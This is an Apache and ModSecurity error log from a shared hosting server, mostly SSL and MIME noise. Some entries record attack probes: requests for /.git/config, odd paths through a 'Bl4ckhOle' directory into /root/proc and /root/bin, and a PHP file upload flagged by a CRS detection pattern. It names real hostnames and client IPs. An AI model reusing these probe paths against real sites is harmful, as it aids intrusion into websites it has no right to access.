[Fri Jul 17 09:38:36.200641 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:44516] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:38:37.290081 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:44556] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:38:37.598954 2026] [security2:error] [pid 2031172:tid 2031172] [client 114.119.137.28:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-global": Permission denied [hostname "manaharasupercenter.lk"] [uri "/index.php"] [unique_id "almqq-jME1mgqYZ5O94t3QAAAAE"], referer: https://manaharasupercenter.lk/product/xxl-flat-tv-stand-339
[Fri Jul 17 09:38:37.599003 2026] [security2:error] [pid 2031172:tid 2031172] [client 114.119.137.28:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-ip": Permission denied [hostname "manaharasupercenter.lk"] [uri "/index.php"] [unique_id "almqq-jME1mgqYZ5O94t3QAAAAE"], referer: https://manaharasupercenter.lk/product/xxl-flat-tv-stand-339
[Fri Jul 17 09:38:37.838738 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:38:37.942902 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:44576] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:38:37.951452 2026] [security2:error] [pid 2032156:tid 2032156] [client 134.122.124.74:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.v-deploy.com"] [uri "/.git/config"] [unique_id "almqxa14q1EBnanVMYGsFgAAAAk"]
[Fri Jul 17 09:38:37.951638 2026] [security2:error] [pid 2032156:tid 2032156] [client 134.122.124.74:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.v-deploy.com"] [uri "/.git/config"] [unique_id "almqxa14q1EBnanVMYGsFgAAAAk"]
[Fri Jul 17 09:38:37.952026 2026] [security2:error] [pid 2032156:tid 2032156] [client 134.122.124.74:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.v-deploy.com"] [uri "/.git/config"] [unique_id "almqxa14q1EBnanVMYGsFgAAAAk"]
[Fri Jul 17 09:38:39.856532 2026] [security2:error] [pid 2032156:tid 2032156] [client 134.122.124.74:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.v-deploy.com"] [uri "/index.php"] [unique_id "almqxa14q1EBnanVMYGsFgAAAAk"]
[Fri Jul 17 09:38:40.217163 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:38:40.523876 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:38:42.525813 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:38:42.605710 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:38:42.675325 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:38:42.683869 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:38:42.998410 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:52850] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:38:44.111954 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:38:44.570262 2026] [security2:error] [pid 2013797:tid 2013797] [client 57.141.18.67:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory2/subsystem/devices/memory6/subsystem/devices/memory61/node0/memory76/"] [unique_id "almqzFh1WDijTxd1xw5UGwAAAAc"]
[Fri Jul 17 09:38:44.570380 2026] [security2:error] [pid 2013797:tid 2013797] [client 57.141.18.67:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory2/subsystem/devices/memory6/subsystem/devices/memory61/node0/memory76/"] [unique_id "almqzFh1WDijTxd1xw5UGwAAAAc"]
[Fri Jul 17 09:38:46.217613 2026] [security2:error] [pid 2031172:tid 2031172] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almqzujME1mgqYZ5O94t7wAAAAE"], referer: http://anandaobauae.org/?C=D;O=Duploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 09:38:46.217648 2026] [security2:error] [pid 2031172:tid 2031172] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almqzujME1mgqYZ5O94t7wAAAAE"], referer: http://anandaobauae.org/?C=D;O=Duploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 09:38:46.420857 2026] [ssl:error] [pid 2050572:tid 2050572] (70014)End of file found: [client 66.85.158.91:53128] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:38:47.343543 2026] [security2:error] [pid 2028246:tid 2028246] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:4/subsystem/tty59/power/runtime_status"] [unique_id "almqzzsMb3am0TgkjETi3QAAAAo"]
[Fri Jul 17 09:38:47.343579 2026] [security2:error] [pid 2028246:tid 2028246] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:4/subsystem/tty59/power/runtime_status"] [unique_id "almqzzsMb3am0TgkjETi3QAAAAo"]
[Fri Jul 17 09:38:47.913492 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:53244] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:38:47.937773 2026] [security2:error] [pid 2031172:tid 2031172] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/mysqlslap"] [unique_id "almqz-jME1mgqYZ5O94t8QAAAAE"]
[Fri Jul 17 09:38:47.938141 2026] [security2:error] [pid 2031172:tid 2031172] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/mysqlslap"] [unique_id "almqz-jME1mgqYZ5O94t8QAAAAE"]
[Fri Jul 17 09:38:47.940333 2026] [security2:error] [pid 2031172:tid 2031172] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/mysqlslap"] [unique_id "almqz-jME1mgqYZ5O94t8QAAAAE"]
[Fri Jul 17 09:38:49.555173 2026] [security2:error] [pid 2029579:tid 2029579] [client 144.76.32.242:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ceylondigest-global": Permission denied [hostname "www.ceylondigest.com"] [uri "/index.php"] [unique_id "almqziRF0UOO1RzB5_82bQAAAA4"]
[Fri Jul 17 09:38:49.555215 2026] [security2:error] [pid 2029579:tid 2029579] [client 144.76.32.242:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ceylondigest-ip": Permission denied [hostname "www.ceylondigest.com"] [uri "/index.php"] [unique_id "almqziRF0UOO1RzB5_82bQAAAA4"]
[Fri Jul 17 09:38:50.458628 2026] [security2:error] [pid 2031172:tid 2031172] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almq0ejME1mgqYZ5O94t8wAAAAE"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1161&page_105=1881
[Fri Jul 17 09:38:50.458659 2026] [security2:error] [pid 2031172:tid 2031172] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almq0ejME1mgqYZ5O94t8wAAAAE"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1161&page_105=1881
[Fri Jul 17 09:38:51.590779 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:60272] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:38:52.545971 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:38:53.894205 2026] [security2:error] [pid 2029579:tid 2029579] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almq1SRF0UOO1RzB5_82cgAAAA4"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 09:38:53.894246 2026] [security2:error] [pid 2029579:tid 2029579] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almq1SRF0UOO1RzB5_82cgAAAA4"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 09:38:54.209847 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:60406] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:38:54.929875 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:60436] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:38:55.135675 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:60438] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:38:58.198033 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:60562] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:39:00.599911 2026] [ssl:error] [pid 2050580:tid 2050580] (70014)End of file found: [client 66.85.158.91:60678] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:39:07.662098 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:07.742169 2026] [core:crit] [pid 2050580:tid 2050580] (13)Permission denied: [client 47.128.48.143:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/var/spool/up2date/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/var/spool/up2date/' is executable
[Fri Jul 17 09:39:07.742242 2026] [core:crit] [pid 2050580:tid 2050580] (13)Permission denied: [client 47.128.48.143:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/var/spool/cron.suspended/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/var/spool/cron.suspended/' is executable
[Fri Jul 17 09:39:07.872524 2026] [core:crit] [pid 2050580:tid 2050580] (13)Permission denied: [client 47.128.48.143:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/var/spool/cron/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/var/spool/cron/' is executable
[Fri Jul 17 09:39:07.872579 2026] [core:crit] [pid 2050580:tid 2050580] (13)Permission denied: [client 47.128.48.143:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/var/spool/at/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/var/spool/at/' is executable
[Fri Jul 17 09:39:08.471919 2026] [security2:error] [pid 2047046:tid 2047046] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:41/subsystem/tty58/power/control"] [unique_id "almq5E_0b3nWp8txtSDFCQAAAA0"]
[Fri Jul 17 09:39:08.471952 2026] [security2:error] [pid 2047046:tid 2047046] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:41/subsystem/tty58/power/control"] [unique_id "almq5E_0b3nWp8txtSDFCQAAAA0"]
[Fri Jul 17 09:39:08.510543 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:09.111224 2026] [security2:error] [pid 2018741:tid 2018741] [client 38.103.170.214:0] ModSecurity: Warning. Pattern match ".*\\\\.(?:php\\\\d*|phtml)\\\\.*$" at FILES:files. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "108"] [id "933110"] [msg "PHP Injection Attack: PHP Script File Upload Found"] [data "Matched Data: 5xagba.php found within FILES:files: 5xagba.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "colperlab.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "almq5boj0IkvhSCYadmKBQAAAAQ"]
[Fri Jul 17 09:39:09.111663 2026] [security2:error] [pid 2018741:tid 2018741] [client 38.103.170.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "colperlab.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "almq5boj0IkvhSCYadmKBQAAAAQ"]
[Fri Jul 17 09:39:09.534543 2026] [security2:error] [pid 2030955:tid 2030955] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almq5fwooI4qY7Jg93pddAAAABM"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 09:39:09.534571 2026] [security2:error] [pid 2030955:tid 2030955] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almq5fwooI4qY7Jg93pddAAAABM"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 09:39:10.665052 2026] [security2:error] [pid 2032156:tid 2032156] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/tty/tty21/subsystem/tty62/power/runtime_status"] [unique_id "almq5q14q1EBnanVMYGsPQAAAAk"]
[Fri Jul 17 09:39:10.665135 2026] [security2:error] [pid 2032156:tid 2032156] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/tty/tty21/subsystem/tty62/power/runtime_status"] [unique_id "almq5q14q1EBnanVMYGsPQAAAAk"]
[Fri Jul 17 09:39:11.511146 2026] [security2:error] [pid 2018741:tid 2018741] [client 38.103.170.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "colperlab.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "almq5boj0IkvhSCYadmKBQAAAAQ"]
[Fri Jul 17 09:39:12.573928 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:43490] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:39:14.934898 2026] [security2:error] [pid 2032156:tid 2032156] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:27/subsystem/tty19/power/control"] [unique_id "almq6q14q1EBnanVMYGsQgAAAAk"]
[Fri Jul 17 09:39:14.934946 2026] [security2:error] [pid 2032156:tid 2032156] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:27/subsystem/tty19/power/control"] [unique_id "almq6q14q1EBnanVMYGsQgAAAAk"]
[Fri Jul 17 09:39:15.117462 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:15.302812 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:16.433334 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:43696] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:39:16.624367 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:43728] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:39:17.156226 2026] [ssl:error] [pid 2050572:tid 2050572] (70014)End of file found: [client 66.85.158.91:43744] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:39:18.032819 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:18.461485 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:18.649256 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/graphics/fb0/device/msi_bus"] [unique_id "almq7g5GPQ6hs4VrfMpKZgAAAAY"]
[Fri Jul 17 09:39:18.649306 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/graphics/fb0/device/msi_bus"] [unique_id "almq7g5GPQ6hs4VrfMpKZgAAAAY"]
[Fri Jul 17 09:39:18.731246 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:18.889955 2026] [security2:error] [pid 2050581:tid 2050581] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/nf-log"] [unique_id "almq7szGNCrIh2ysmniNqgAAABY"]
[Fri Jul 17 09:39:18.890459 2026] [security2:error] [pid 2050581:tid 2050581] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/nf-log"] [unique_id "almq7szGNCrIh2ysmniNqgAAABY"]
[Fri Jul 17 09:39:18.890986 2026] [security2:error] [pid 2050581:tid 2050581] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/nf-log"] [unique_id "almq7szGNCrIh2ysmniNqgAAABY"]
